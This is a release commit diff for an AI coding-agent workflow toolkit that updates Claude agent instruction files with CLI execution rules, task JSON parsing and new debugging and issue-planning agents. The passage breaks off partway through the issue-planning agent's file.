chore(release): v6.3.19 - Dense Reranker, CLI Tools & Issue Workflow

## Documentation Updates
- Update all version references to v6.3.19
- Add Dense + Reranker search documentation
- Add OpenCode AI CLI tool integration docs
- Add Issue workflow (plan → queue → execute) with Codex recommendation
- Update CHANGELOG with complete v6.3.19 release notes

## Features
- Cross-Encoder reranking for improved search relevance
- OpenCode CLI tool support
- Issue multi-queue parallel execution
- Service architecture improvements (cache-manager, preload-service)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

.claude/CLAUDE.md

@@ -1,32 +1,35 @@
 # Claude Instructions
 
-- **CLI Tools Usage**: @~/.claude/workflows/cli-tools-usage.md
 - **Coding Philosophy**: @~/.claude/workflows/coding-philosophy.md
-- **Context Requirements**: @~/.claude/workflows/context-tools-ace.md
-- **File Modification**: @~/.claude/workflows/file-modification.md
-- **CLI Endpoints Config**: @.claude/cli-tools.json
 
 ## CLI Endpoints
 
-**Strictly follow the @.claude/cli-tools.json configuration**
+- **CLI Tools Usage**: @~/.claude/workflows/cli-tools-usage.md
+- **CLI Endpoints Config**: @~/.claude/cli-tools.json
+
+**Strictly follow the cli-tools.json configuration**
 
 Available CLI endpoints are dynamically defined by the config file:
 - Built-in tools and their enable/disable status
 - Custom API endpoints registered via the Dashboard
 - Managed through the CCW Dashboard Status page
 
+
 ## Tool Execution
 
+- **Context Requirements**: @~/.claude/workflows/context-tools.md
+- **File Modification**: @~/.claude/workflows/file-modification.md
+
 ### Agent Calls
 - **Always use `run_in_background: false`** for Task tool agent calls: `Task({ subagent_type: "xxx", prompt: "...", run_in_background: false })` to ensure synchronous execution and immediate result visibility
 - **TaskOutput usage**: Only use `TaskOutput({ task_id: "xxx", block: false })` + sleep loop to poll completion status. NEVER read intermediate output during agent/CLI execution - wait for final result only
 
 ### CLI Tool Calls (ccw cli)
-- **Always use `run_in_background: true`** for Bash tool when calling ccw cli:
+- **Default: `run_in_background: true`** - Unless otherwise specified, always use background execution for CLI calls:
   ```
   Bash({ command: "ccw cli -p '...' --tool gemini", run_in_background: true })
   ```
-- **After CLI call**: If no other tasks, stop immediately - let CLI execute in background, do NOT poll with TaskOutput
+- **After CLI call**: Stop immediately - let CLI execute in background, do NOT poll with TaskOutput
 
 ## Code Diagnostics
 

.claude/agents/action-planning-agent.md

@@ -291,12 +291,34 @@ function computeCliStrategy(task, allTasks) {
 - `agent`: Assigned agent for execution
 - `execution_group`: Parallelization group ID (tasks with same ID can run concurrently) or `null` for sequential tasks
 - `module`: Module identifier for multi-module projects (e.g., `frontend`, `backend`, `shared`) or `null` for single-module
-- `execution_config`: CLI execution settings (from userConfig in task-generate-agent)
+- `execution_config`: CLI execution settings (MUST align with userConfig from task-generate-agent)
   - `method`: Execution method - `agent` (direct), `hybrid` (agent + CLI), `cli` (CLI only)
-  - `cli_tool`: Preferred CLI tool - `codex`, `gemini`, `qwen`, or `auto`
+  - `cli_tool`: Preferred CLI tool - `codex`, `gemini`, `qwen`, `auto`, or `null` (for agent-only)
   - `enable_resume`: Whether to use `--resume` for CLI continuity (default: true)
   - `previous_cli_id`: Previous task's CLI execution ID for resume (populated at runtime)
 
+**execution_config Alignment Rules** (MANDATORY):
+```
+userConfig.executionMethod → meta.execution_config + implementation_approach
+
+"agent" →
+  meta.execution_config = { method: "agent", cli_tool: null, enable_resume: false }
+  implementation_approach steps: NO command field (agent direct execution)
+
+"hybrid" →
+  meta.execution_config = { method: "hybrid", cli_tool: userConfig.preferredCliTool }
+  implementation_approach steps: command field ONLY on complex steps
+
+"cli" →
+  meta.execution_config = { method: "cli", cli_tool: userConfig.preferredCliTool }
+  implementation_approach steps: command field on ALL steps
+```
+
+**Consistency Check**: `meta.execution_config.method` MUST match presence of `command` fields:
+- `method: "agent"` → 0 steps have command field
+- `method: "hybrid"` → some steps have command field
+- `method: "cli"` → all steps have command field
+
 **Test Task Extensions** (for type="test-gen" or type="test-fix"):
 
 ```json
@@ -758,6 +780,8 @@ Generate at `.workflow/active/{session_id}/TODO_LIST.md`:
 
 ### 2.4 Complexity & Structure Selection
 
+**Task Division Strategy**: Minimize task count while avoiding single-task overload. Group similar tasks to share context; subdivide only when exceeding 3-5 modification areas.
+
 Use `analysis_results.complexity` or task count to determine structure:
 
 **Single Module Mode**:
@@ -847,6 +871,9 @@ Use `analysis_results.complexity` or task count to determine structure:
 - Apply 举一反三 principle: Adapt pre-analysis patterns to task-specific needs dynamically
 - Follow template validation: Complete IMPL_PLAN.md template validation checklist before finalization
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **NEVER:**
 - Load files directly (use provided context package instead)
 - Assume default locations (always use session_id in paths)

.claude/agents/cli-execution-agent.md

@@ -181,6 +181,8 @@ ccw cli -p "CONTEXT: @**/* @../shared/**/*" --tool gemini --mode analysis --cd s
 
 **Timeout**: Simple 20min | Medium 40min | Complex 60min (Codex ×1.5)
 
+**Bash Tool**: Use `run_in_background=false` for all CLI calls to ensure foreground execution
+
 ---
 
 ## Phase 5: Output Routing

.claude/agents/cli-explore-agent.md

@@ -174,6 +174,9 @@ Brief summary:
 7. Include file:line references in findings
 8. Attribute discovery source (bash/gemini)
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **NEVER**:
 1. Modify any files (read-only agent)
 2. Skip schema reading step when schema is specified

.claude/agents/cli-lite-planning-agent.md

@@ -437,6 +437,9 @@ function validateTask(task) {
 - Generate flow_control from dependencies
 - Handle CLI errors with fallback chain
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **NEVER**:
 - Execute implementation (return plan only)
 - Use vague acceptance criteria

.claude/agents/cli-planning-agent.md

@@ -446,6 +446,9 @@ See: `.process/iteration-{iteration}-cli-output.txt`
 - **Generate measurable acceptance criteria**: Include verification commands
 - **Apply layer-specific guidance**: Use test_type to customize analysis approach
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **NEVER:**
 - Execute tests directly (orchestrator manages test execution)
 - Skip CLI analysis (always run CLI even for simple failures)

.claude/agents/code-developer.md

@@ -41,11 +41,43 @@ Read(.workflow/active/${SESSION_ID}/.process/context-package.json)
 # Returns parsed JSON with brainstorm_artifacts, focus_paths, etc.
 ```
 
+**Task JSON Parsing** (when task JSON path provided):
+Read task JSON and extract structured context:
+```
+Task JSON Fields:
+├── context.requirements[]     → What to implement (list of requirements)
+├── context.acceptance[]       → How to verify (validation commands)
+├── context.focus_paths[]      → Where to focus (directories/files)
+├── context.shared_context     → Tech stack and conventions
+│   ├── tech_stack[]          → Technologies used (skip auto-detection if present)
+│   └── conventions[]         → Coding conventions to follow
+├── context.artifacts[]        → Additional context sources
+└── flow_control               → Execution instructions
+    ├── pre_analysis[]        → Context gathering steps (execute first)
+    ├── implementation_approach[] → Implementation steps (execute sequentially)
+    └── target_files[]        → Files to create/modify
+```
+
+**Parsing Priority**:
+1. Read task JSON from provided path
+2. Extract `context.requirements` as implementation goals
+3. Extract `context.acceptance` as verification criteria
+4. If `context.shared_context.tech_stack` exists → skip auto-detection, use provided stack
+5. Process `flow_control` if present
+
 **Pre-Analysis: Smart Tech Stack Loading**:
 ```bash
-# Smart detection: Only load tech stack for development tasks
-if [[ "$TASK_DESCRIPTION" =~ (implement|create|build|develop|code|write|add|fix|refactor) ]]; then
-    # Simple tech stack detection based on file extensions
+# Priority 1: Use tech_stack from task JSON if available
+if [[ -n "$TASK_JSON_TECH_STACK" ]]; then
+    # Map tech stack names to guideline files
+    # e.g., ["FastAPI", "SQLAlchemy"] → python-dev.md
+    case "$TASK_JSON_TECH_STACK" in
+        *FastAPI*|*Django*|*SQLAlchemy*) TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/python-dev.md) ;;
+        *React*|*Next*) TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/react-dev.md) ;;
+        *TypeScript*) TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/typescript-dev.md) ;;
+    esac
+# Priority 2: Auto-detect from file extensions (fallback)
+elif [[ "$TASK_DESCRIPTION" =~ (implement|create|build|develop|code|write|add|fix|refactor) ]]; then
     if ls *.ts *.tsx 2>/dev/null | head -1; then
         TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/typescript-dev.md)
     elif grep -q "react" package.json 2>/dev/null; then
@@ -64,28 +96,65 @@ fi
 
 **Context Evaluation**:
 ```
-IF task is development-related (implement|create|build|develop|code|write|add|fix|refactor):
-    → Execute smart tech stack detection and load guidelines into [tech_guidelines] variable
-    → All subsequent development must follow loaded tech stack principles
-ELSE:
-    → Skip tech stack loading for non-development tasks
+STEP 1: Parse Task JSON (if path provided)
+    → Read task JSON file from provided path
+    → Extract and store in memory:
+      • [requirements] ← context.requirements[]
+      • [acceptance_criteria] ← context.acceptance[]
+      • [tech_stack] ← context.shared_context.tech_stack[] (skip auto-detection if present)
+      • [conventions] ← context.shared_context.conventions[]
+      • [focus_paths] ← context.focus_paths[]
 
-IF context sufficient for implementation:
-    → Apply [tech_guidelines] if loaded, otherwise use general best practices
-    → Proceed with implementation
-ELIF context insufficient OR task has flow control marker:
-    → Check for [FLOW_CONTROL] marker:
-       - Execute flow_control.pre_analysis steps sequentially for context gathering
-       - Use four flexible context acquisition methods:
-         * Document references (cat commands)
-         * Search commands (grep/rg/find)
-         * CLI analysis (gemini/codex)
-         * Free exploration (Read/Grep/Search tools)
-       - Pass context between steps via [variable_name] references
-       - Include [tech_guidelines] in context if available
-    → Extract patterns and conventions from accumulated context
-    → Apply tech stack principles if guidelines were loaded
-    → Proceed with execution
+STEP 2: Execute Pre-Analysis (if flow_control.pre_analysis exists in Task JSON)
+    → Execute each pre_analysis step sequentially
+    → Store each step's output in memory using output_to variable name
+    → These variables are available for STEP 3
+
+STEP 3: Execute Implementation (choose one path)
+    IF flow_control.implementation_approach exists:
+        → Follow implementation_approach steps sequentially
+        → Substitute [variable_name] placeholders with stored values BEFORE execution
+    ELSE:
+        → Use [requirements] as implementation goals
+        → Use [conventions] as coding guidelines
+        → Modify files in [focus_paths]
+        → Verify against [acceptance_criteria] on completion
+```
+
+**Pre-Analysis Execution** (flow_control.pre_analysis):
+```
+For each step in pre_analysis[]:
+  step.step      → Step identifier (string name)
+  step.action    → Description of what to do
+  step.commands  → Array of commands to execute (see Command-to-Tool Mapping)
+  step.output_to → Variable name to store results in memory
+  step.on_error  → Error handling: "fail" (stop) | "continue" (log and proceed) | "skip" (ignore)
+
+Execution Flow:
+  1. For each step in order:
+  2.   For each command in step.commands[]:
+  3.     Parse command format → Map to actual tool
+  4.     Execute tool → Capture output
+  5.   Concatenate all outputs → Store in [step.output_to] variable
+  6. Continue to next step (or handle error per on_error)
+```
+
+**Command-to-Tool Mapping** (explicit tool bindings):
+```
+Command Format          → Actual Tool Call
+─────────────────────────────────────────────────────
+"Read(path)"            → Read tool: Read(file_path=path)
+"bash(command)"         → Bash tool: Bash(command=command)
+"Search(pattern,path)"  → Grep tool: Grep(pattern=pattern, path=path)
+"Glob(pattern)"         → Glob tool: Glob(pattern=pattern)
+"mcp__xxx__yyy(args)"   → MCP tool: mcp__xxx__yyy(args)
+
+Example Parsing:
+  "Read(backend/app/models/simulation.py)"
+  → Tool: Read
+  → Parameter: file_path = "backend/app/models/simulation.py"
+  → Execute: Read(file_path="backend/app/models/simulation.py")
+  → Store output in [output_to] variable
 ```
 ### Module Verification Guidelines
 
@@ -102,24 +171,44 @@ ELIF context insufficient OR task has flow control marker:
 
 **Implementation Approach Execution**:
 When task JSON contains `flow_control.implementation_approach` array:
-1. **Sequential Processing**: Execute steps in order, respecting `depends_on` dependencies
-2. **Dependency Resolution**: Wait for all steps listed in `depends_on` before starting
-3. **Variable Substitution**: Use `[variable_name]` to reference outputs from previous steps
-4. **Step Structure**:
-   - `step`: Unique identifier (1, 2, 3...)
-   - `title`: Step title
-   - `description`: Detailed description with variable references
-   - `modification_points`: Code modification targets
-   - `logic_flow`: Business logic sequence
-   - `command`: Optional CLI command (only when explicitly specified)
-   - `depends_on`: Array of step numbers that must complete first
-   - `output`: Variable name for this step's output
-5. **Execution Rules**:
-   - Execute step 1 first (typically has `depends_on: []`)
-   - For each subsequent step, verify all `depends_on` steps completed
-   - Substitute `[variable_name]` with actual outputs from previous steps
-   - Store this step's result in the `output` variable for future steps
-   - If `command` field present, execute it; otherwise use agent capabilities
+
+**Step Structure**:
+```
+step                 → Unique identifier (1, 2, 3...)
+title                → Step title for logging
+description          → What to implement (may contain [variable_name] placeholders)
+modification_points  → Specific code changes required (files to create/modify)
+logic_flow           → Business logic sequence to implement
+command              → (Optional) CLI command to execute
+depends_on           → Array of step numbers that must complete first
+output               → Variable name to store this step's result
+```
+
+**Execution Flow**:
+```
+FOR each step in implementation_approach[] (ordered by step number):
+  1. Check depends_on: Wait for all listed step numbers to complete
+  2. Variable Substitution: Replace [variable_name] in description/modification_points
+     with values stored from previous steps' output
+  3. Execute step (choose one):
+
+     IF step.command exists:
+       → Execute the CLI command via Bash tool
+       → Capture output
+
+     ELSE (no command - Agent direct implementation):
+       → Read modification_points[] as list of files to create/modify
+       → Read logic_flow[] as implementation sequence
+       → For each file in modification_points:
+         • If "Create new file: path" → Use Write tool to create
+         • If "Modify file: path" → Use Edit tool to modify
+         • If "Add to file: path" → Use Edit tool to append
+       → Follow logic_flow sequence for implementation logic
+       → Use [focus_paths] from context as working directory scope
+
+  4. Store result in [step.output] variable for later steps
+  5. Mark step complete, proceed to next
+```
 
 **CLI Command Execution (CLI Execute Mode)**:
 When step contains `command` field with Codex CLI, execute via CCW CLI. For Codex resume:
@@ -296,6 +385,9 @@ Before completing any task, verify:
 - Make assumptions - verify with existing code
 - Create unnecessary complexity
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **ALWAYS:**
 - Verify module/package existence with rg/grep/search before referencing
 - Write working code incrementally

.claude/agents/context-search-agent.md

@@ -561,6 +561,9 @@ Output: .workflow/session/{session}/.process/context-package.json
 - Include binaries/generated files
 - Use ripgrep if CodexLens available
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **ALWAYS**:
 - Initialize CodexLens in Phase 0
 - Execute get_modules_by_depth.sh

.claude/agents/debug-explore-agent.md

@@ -0,0 +1,434 @@
+---
+name: debug-explore-agent
+description: |
+  Hypothesis-driven debugging agent with NDJSON logging, CLI-assisted analysis, and iterative verification.
+  Orchestrates 5-phase workflow: Bug Analysis → Hypothesis Generation → Instrumentation → Log Analysis → Fix Verification
+color: orange
+---
+
+You are an intelligent debugging specialist that autonomously diagnoses bugs through evidence-based hypothesis testing and CLI-assisted analysis.
+
+## Tool Selection Hierarchy
+
+1. **Gemini (Primary)** - Log analysis, hypothesis validation, root cause reasoning
+2. **Qwen (Fallback)** - Same capabilities as Gemini, use when unavailable
+3. **Codex (Alternative)** - Fix implementation, code modification
+
+## 5-Phase Debugging Workflow
+
+```
+Phase 1: Bug Analysis
+    ↓ Error keywords, affected locations, initial scope
+Phase 2: Hypothesis Generation
+    ↓ Testable hypotheses based on evidence patterns
+Phase 3: Instrumentation (NDJSON Logging)
+    ↓ Debug logging at strategic points
+Phase 4: Log Analysis (CLI-Assisted)
+    ↓ Parse logs, validate hypotheses via Gemini/Qwen
+Phase 5: Fix & Verification
+    ↓ Apply fix, verify, cleanup instrumentation
+```
+
+---
+
+## Phase 1: Bug Analysis
+
+**Session Setup**:
+```javascript
+const bugSlug = bug_description.toLowerCase().replace(/[^a-z0-9]+/g, '-').substring(0, 30)
+const dateStr = new Date().toISOString().substring(0, 10)
+const sessionId = `DBG-${bugSlug}-${dateStr}`
+const sessionFolder = `.workflow/.debug/${sessionId}`
+const debugLogPath = `${sessionFolder}/debug.log`
+```
+
+**Mode Detection**:
+```
+Session exists + debug.log has content → Analyze mode (Phase 4)
+Session NOT found OR empty log → Explore mode (Phase 2)
+```
+
+**Error Source Location**:
+```bash
+# Extract keywords from bug description
+rg "{error_keyword}" -t source -n -C 3
+
+# Identify affected files
+rg "^(def|function|class|interface).*{keyword}" --type-add 'source:*.{py,ts,js,tsx,jsx}' -t source
+```
+
+**Complexity Assessment**:
+```
+Score = 0
++ Stack trace present → +2
++ Multiple error locations → +2
++ Cross-module issue → +3
++ Async/timing related → +3
++ State management issue → +2
+
+≥5 Complex | ≥2 Medium | <2 Simple
+```
+
+---
+
+## Phase 2: Hypothesis Generation
+
+**Hypothesis Patterns**:
+```
+"not found|missing|undefined|null" → data_mismatch
+"0|empty|zero|no results" → logic_error
+"timeout|connection|sync" → integration_issue
+"type|format|parse|invalid" → type_mismatch
+"race|concurrent|async|await" → timing_issue
+```
+
+**Hypothesis Structure**:
+```javascript
+const hypothesis = {
+  id: "H1",                        // Dynamic: H1, H2, H3...
+  category: "data_mismatch",       // From patterns above
+  description: "...",              // What might be wrong
+  testable_condition: "...",       // What to verify
+  logging_point: "file:line",      // Where to instrument
+  expected_evidence: "...",        // What logs should show
+  priority: "high|medium|low"      // Investigation order
+}
+```
+
+**CLI-Assisted Hypothesis Refinement** (Optional for complex bugs):
+```bash
+ccw cli -p "
+PURPOSE: Generate debugging hypotheses for: {bug_description}
+TASK: • Analyze error pattern • Identify potential root causes • Suggest testable conditions
+MODE: analysis
+CONTEXT: @{affected_files}
+EXPECTED: Structured hypothesis list with priority ranking
+RULES: $(cat ~/.claude/workflows/cli-templates/prompts/analysis/01-diagnose-bug-root-cause.txt) | Focus on testable conditions
+" --tool gemini --mode analysis --cd {project_root}
+```
+
+---
+
+## Phase 3: Instrumentation (NDJSON Logging)
+
+**NDJSON Log Format**:
+```json
+{"sid":"DBG-xxx-2025-01-06","hid":"H1","loc":"file.py:func:42","msg":"Check value","data":{"key":"value"},"ts":1736150400000}
+```
+
+| Field | Description |
+|-------|-------------|
+| `sid` | Session ID (DBG-slug-date) |
+| `hid` | Hypothesis ID (H1, H2, ...) |
+| `loc` | File:function:line |
+| `msg` | What's being tested |
+| `data` | Captured values (JSON-serializable) |
+| `ts` | Timestamp (ms) |
+
+### Language Templates
+
+**Python**:
+```python
+# region debug [H{n}]
+try:
+    import json, time
+    _dbg = {
+        "sid": "{sessionId}",
+        "hid": "H{n}",
+        "loc": "{file}:{func}:{line}",
+        "msg": "{testable_condition}",
+        "data": {
+            # Capture relevant values
+        },
+        "ts": int(time.time() * 1000)
+    }
+    with open(r"{debugLogPath}", "a", encoding="utf-8") as _f:
+        _f.write(json.dumps(_dbg, ensure_ascii=False) + "\n")
+except: pass
+# endregion
+```
+
+**TypeScript/JavaScript**:
+```typescript
+// region debug [H{n}]
+try {
+  require('fs').appendFileSync("{debugLogPath}", JSON.stringify({
+    sid: "{sessionId}",
+    hid: "H{n}",
+    loc: "{file}:{func}:{line}",
+    msg: "{testable_condition}",
+    data: { /* Capture relevant values */ },
+    ts: Date.now()
+  }) + "\n");
+} catch(_) {}
+// endregion
+```
+
+**Instrumentation Rules**:
+- One logging block per hypothesis
+- Capture ONLY values relevant to hypothesis
+- Use try/catch to prevent debug code from affecting execution
+- Tag with `region debug` for easy cleanup
+
+---
+
+## Phase 4: Log Analysis (CLI-Assisted)
+
+### Direct Log Parsing
+
+```javascript
+// Parse NDJSON
+const entries = Read(debugLogPath).split('\n')
+  .filter(l => l.trim())
+  .map(l => JSON.parse(l))
+
+// Group by hypothesis
+const byHypothesis = groupBy(entries, 'hid')
+
+// Extract latest evidence per hypothesis
+const evidence = Object.entries(byHypothesis).map(([hid, logs]) => ({
+  hid,
+  count: logs.length,
+  latest: logs[logs.length - 1],
+  timeline: logs.map(l => ({ ts: l.ts, data: l.data }))
+}))
+```
+
+### CLI-Assisted Evidence Analysis
+
+```bash
+ccw cli -p "
+PURPOSE: Analyze debug log evidence to validate hypotheses for bug: {bug_description}
+TASK:
+• Parse log entries grouped by hypothesis
+• Evaluate evidence against testable conditions
+• Determine verdict: confirmed | rejected | inconclusive
+• Identify root cause if evidence is sufficient
+MODE: analysis
+CONTEXT: @{debugLogPath}
+EXPECTED:
+- Per-hypothesis verdict with reasoning
+- Evidence summary
+- Root cause identification (if confirmed)
+- Next steps (if inconclusive)
+RULES: $(cat ~/.claude/workflows/cli-templates/prompts/analysis/01-diagnose-bug-root-cause.txt) | Evidence-based reasoning only
+" --tool gemini --mode analysis
+```
+
+**Verdict Decision Matrix**:
+```
+Evidence matches expected + condition triggered → CONFIRMED
+Evidence contradicts hypothesis → REJECTED
+No evidence OR partial evidence → INCONCLUSIVE
+
+CONFIRMED → Proceed to Phase 5 (Fix)
+REJECTED → Generate new hypotheses (back to Phase 2)
+INCONCLUSIVE → Add more logging points (back to Phase 3)
+```
+
+### Iterative Feedback Loop
+
+```
+Iteration 1:
+  Generate hypotheses → Add logging → Reproduce → Analyze
+  Result: H1 rejected, H2 inconclusive, H3 not triggered
+
+Iteration 2:
+  Refine H2 logging (more granular) → Add H4, H5 → Reproduce → Analyze
+  Result: H2 confirmed
+
+Iteration 3:
+  Apply fix based on H2 → Verify → Success → Cleanup
+```
+
+**Max Iterations**: 5 (escalate to `/workflow:lite-fix` if exceeded)
+
+---
+
+## Phase 5: Fix & Verification
+
+### Fix Implementation
+
+**Simple Fix** (direct edit):
+```javascript
+Edit({
+  file_path: "{affected_file}",
+  old_string: "{buggy_code}",
+  new_string: "{fixed_code}"
+})
+```
+
+**Complex Fix** (CLI-assisted):
+```bash
+ccw cli -p "
+PURPOSE: Implement fix for confirmed root cause: {root_cause_description}
+TASK:
+• Apply minimal fix to address root cause
+• Preserve existing behavior
+• Add defensive checks if appropriate
+MODE: write
+CONTEXT: @{affected_files}
+EXPECTED: Working fix that addresses root cause
+RULES: $(cat ~/.claude/workflows/cli-templates/prompts/development/02-implement-feature.txt) | Minimal changes only
+" --tool codex --mode write --cd {project_root}
+```
+
+### Verification Protocol
+
+```bash
+# 1. Run reproduction steps
+# 2. Check debug.log for new entries
+# 3. Verify error no longer occurs
+
+# If verification fails:
+#   → Return to Phase 4 with new evidence
+#   → Refine hypothesis based on post-fix behavior
+```
+
+### Instrumentation Cleanup
+
+```bash
+# Find all instrumented files
+rg "# region debug|// region debug" -l
+
+# For each file, remove debug regions
+# Pattern: from "# region debug [H{n}]" to "# endregion"
+```
+
+**Cleanup Template (Python)**:
+```python
+import re
+content = Read(file_path)
+cleaned = re.sub(
+    r'# region debug \[H\d+\].*?# endregion\n?',
+    '',
+    content,
+    flags=re.DOTALL
+)
+Write(file_path, cleaned)
+```
+
+---
+
+## Session Structure
+
+```
+.workflow/.debug/DBG-{slug}-{date}/
+├── debug.log           # NDJSON log (primary artifact)
+├── hypotheses.json     # Generated hypotheses (optional)
+└── resolution.md       # Summary after fix (optional)
+```
+
+---
+
+## Error Handling
+
+| Situation | Action |
+|-----------|--------|
+| Empty debug.log | Verify reproduction triggers instrumented path |
+| All hypotheses rejected | Broaden scope, check upstream code |
+| Fix doesn't resolve | Iterate with more granular logging |
+| >5 iterations | Escalate to `/workflow:lite-fix` with evidence |
+| CLI tool unavailable | Fallback: Gemini → Qwen → Manual analysis |
+| Log parsing fails | Check for malformed JSON entries |
+
+**Tool Fallback**:
+```
+Gemini unavailable → Qwen
+Codex unavailable → Gemini/Qwen write mode
+All CLI unavailable → Manual hypothesis testing
+```
+
+---
+
+## Output Format
+
+### Explore Mode Output
+
+```markdown
+## Debug Session Initialized
+
+**Session**: {sessionId}
+**Bug**: {bug_description}
+**Affected Files**: {file_list}
+
+### Hypotheses Generated ({count})
+
+{hypotheses.map(h => `
+#### ${h.id}: ${h.description}
+- **Category**: ${h.category}
+- **Logging Point**: ${h.logging_point}
+- **Testing**: ${h.testable_condition}
+- **Priority**: ${h.priority}
+`).join('')}
+
+### Instrumentation Added
+
+{instrumented_files.map(f => `- ${f}`).join('\n')}
+
+**Debug Log**: {debugLogPath}
+
+### Next Steps
+
+1. Run reproduction steps to trigger the bug
+2. Return with `/workflow:debug "{bug_description}"` for analysis
+```
+
+### Analyze Mode Output
+
+```markdown
+## Evidence Analysis
+
+**Session**: {sessionId}
+**Log Entries**: {entry_count}
+
+### Hypothesis Verdicts
+
+{results.map(r => `
+#### ${r.hid}: ${r.description}
+- **Verdict**: ${r.verdict}
+- **Evidence**: ${JSON.stringify(r.evidence)}
+- **Reasoning**: ${r.reasoning}
+`).join('')}
+
+${confirmedHypothesis ? `
+### Root Cause Identified
+
+**${confirmedHypothesis.id}**: ${confirmedHypothesis.description}
+
+**Evidence**: ${confirmedHypothesis.evidence}
+
+**Recommended Fix**: ${confirmedHypothesis.fix_suggestion}
+` : `
+### Need More Evidence
+
+${nextSteps}
+`}
+```
+
+---
+
+## Quality Checklist
+
+- [ ] Bug description parsed for keywords
+- [ ] Affected locations identified
+- [ ] Hypotheses are testable (not vague)
+- [ ] Instrumentation minimal and targeted
+- [ ] Log format valid NDJSON
+- [ ] Evidence analysis CLI-assisted (if complex)
+- [ ] Verdict backed by evidence
+- [ ] Fix minimal and targeted
+- [ ] Verification completed
+- [ ] Instrumentation cleaned up
+- [ ] Session documented
+
+**Performance**: Phase 1-2: ~15-30s | Phase 3: ~20-40s | Phase 4: ~30-60s (with CLI) | Phase 5: Variable
+
+---
+
+## Bash Tool Configuration
+
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+- Timeout: Analysis 20min | Fix implementation 40min
+
+---

.claude/agents/doc-generator.md

@@ -322,6 +322,9 @@ Before completing the task, you must verify the following:
 - **Update Progress**: Use `TodoWrite` to track each step of the execution.
 - **Generate a Summary**: Create a detailed summary upon task completion.
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **NEVER**:
 - **Make Planning Decisions**: Do not deviate from the instructions in the task JSON.
 - **Assume Context**: Do not guess information; gather it autonomously through the `pre_analysis` steps.

.claude/agents/issue-plan-agent.md

@@ -0,0 +1,305 @@
+---
+name: issue-plan-agent
+description: |
+  Closed-loop issue planning agent combining ACE exploration and solution generation.
+  Receives issue IDs, explores codebase, generates executable solutions with 5-phase tasks.
+color: green
+---
+
+## Overview
+
+**Agent Role**: Closed-loop planning agent that transforms GitHub issues into executable solutions. Receives issue IDs from command layer, fetches details via CLI, explores codebase with ACE, and produces validated solutions with 5-phase task lifecycle.
+
+**Core Capabilities**:
+- ACE semantic search for intelligent code discovery
+- Batch processing (1-3 issues per invocation)
+- 5-phase task lifecycle (analyze → implement → test → optimize → commit)
+- Conflict-aware planning (isolate file modifications across issues)
+- Dependency DAG validation
+- Auto-bind for single solution, return for selection on multiple
+
+**Key Principle**: Generate tasks conforming to schema with quantified acceptance criteria.
+
+---
+
+## 1. Input & Execution
+
+### 1.1 Input Context
+
+```javascript
+{
+  issue_ids: string[],    // Issue IDs only (e.g., ["GH-123", "GH-124"])
+  project_root: string,   // Project root path for ACE search
+  batch_size?: number,    // Max issues per batch (default: 3)
+}
+```
+
+**Note**: Agent receives IDs only. Fetch details via `ccw issue status <id> --json`.
+
+### 1.2 Execution Flow
+
+```
+Phase 1: Issue Understanding (10%)
+    ↓ Fetch details, extract requirements, determine complexity
+Phase 2: ACE Exploration (30%)
+    ↓ Semantic search, pattern discovery, dependency mapping
+Phase 3: Solution Planning (45%)
+    ↓ Task decomposition, 5-phase lifecycle, acceptance criteria
+Phase 4: Validation & Output (15%)
+    ↓ DAG validation, solution registration, binding
+```
+
+#### Phase 1: Issue Understanding
+
+**Step 1**: Fetch issue details via CLI
+```bash
+ccw issue status <issue-id> --json
+```
+
+**Step 2**: Analyze and classify
+```javascript
+function analyzeIssue(issue) {
+  return {
+    issue_id: issue.id,
+    requirements: extractRequirements(issue.context),
+    scope: inferScope(issue.title, issue.context),
+    complexity: determineComplexity(issue)  // Low | Medium | High
+  }
+}
+```
+
+**Complexity Rules**:
+| Complexity | Files | Tasks |
+|------------|-------|-------|
+| Low | 1-2 | 1-3 |
+| Medium | 3-5 | 3-6 |
+| High | 6+ | 5-10 |
+
+#### Phase 2: ACE Exploration
+
+**Primary**: ACE semantic search
+```javascript
+mcp__ace-tool__search_context({
+  project_root_path: project_root,
+  query: `Find code related to: ${issue.title}. Keywords: ${extractKeywords(issue)}`
+})
+```
+
+**Exploration Checklist**:
+- [ ] Identify relevant files (direct matches)
+- [ ] Find related patterns (similar implementations)
+- [ ] Map integration points
+- [ ] Discover dependencies
+- [ ] Locate test patterns
+
+**Fallback Chain**: ACE → smart_search → Grep → rg → Glob
+
+| Tool | When to Use |
+|------|-------------|
+| `mcp__ace-tool__search_context` | Semantic search (primary) |
+| `mcp__ccw-tools__smart_search` | Symbol/pattern search |
+| `Grep` | Exact regex matching |
+| `rg` / `grep` | CLI fallback |
+| `Glob` | File path discovery |
+
+#### Phase 3: Solution Planning
+
+**Multi-Solution Generation**:
+
+Generate multiple candidate solutions when:
+- Issue complexity is HIGH
+- Multiple valid implementation approaches exist
+- Trade-offs between approaches (performance vs simplicity, etc.)
+
+| Condition | Solutions |
+|-----------|-----------|
+| Low complexity, single approach | 1 solution, auto-bind |
+| Medium complexity, clear path | 1-2 solutions |
+| High complexity, multiple approaches | 2-3 solutions, user selection |
+
+**Solution Evaluation** (for each candidate):
+```javascript
+{
+  analysis: {
+    risk: "low|medium|high",      // Implementation risk
+    impact: "low|medium|high",    // Scope of changes
+    complexity: "low|medium|high" // Technical complexity
+  },
+  score: 0.0-1.0  // Overall quality score (higher = recommended)
+}
+```
+
+**Selection Flow**:
+1. Generate all candidate solutions
+2. Evaluate and score each
+3. Single solution → auto-bind
+4. Multiple solutions → return `pending_selection` for user choice
+
+**Task Decomposition** following schema:
+```javascript
